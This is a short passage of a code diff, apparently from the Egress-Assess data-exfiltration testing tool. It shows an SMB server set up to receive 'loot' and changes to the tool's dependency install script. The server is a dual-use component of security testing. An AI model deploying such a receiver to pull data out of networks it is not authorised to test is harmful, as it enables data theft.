if not os.path.isdir(loot_path):
|
||||
os.makedirs(loot_path)
|
||||
|
||||
server = smbserver.SimpleSMBServer()
|
||||
|
||||
server.addShare("DATA", "data/", "Egress-Assess data share")
|
||||
|
||||
# If you don't want log to stdout, comment the following line
|
||||
# If you want log dumped to a file, enter the filename
|
||||
server.setLogFile('')
|
||||
|
||||
print "[*] SMB server is currently running..."
|
||||
|
||||
# Rock and roll
|
||||
server.start()
|
||||
# handle keyboard interrupts
|
||||
except KeyboardInterrupt:
|
||||
print "[!] Rage quiting, and stopping the smb server!"
|
||||
return
|
|
@ -2,13 +2,7 @@
|
|||
|
||||
clear
|
||||
echo "[*] Installing Egress-Assess Dependencies..."
|
||||
echo "[*] Installing scapy"
|
||||
apt-get update
|
||||
apt-get install python-scapy
|
||||
echo "[*] Installing paramiko"
|
||||
apt-get install python-paramiko python-crypto
|
||||
echo "[*] Installing ecdsa"
|
||||
pip install ecdsa
|
||||
apt-get install smbclient
|
||||
echo "[*] Installing pyftpdlib..."
|
||||
git clone https://github.com/giampaolo/pyftpdlib.git
|
||||
cd pyftpdlib
|
||||
|
|
Loading…
Reference in New Issue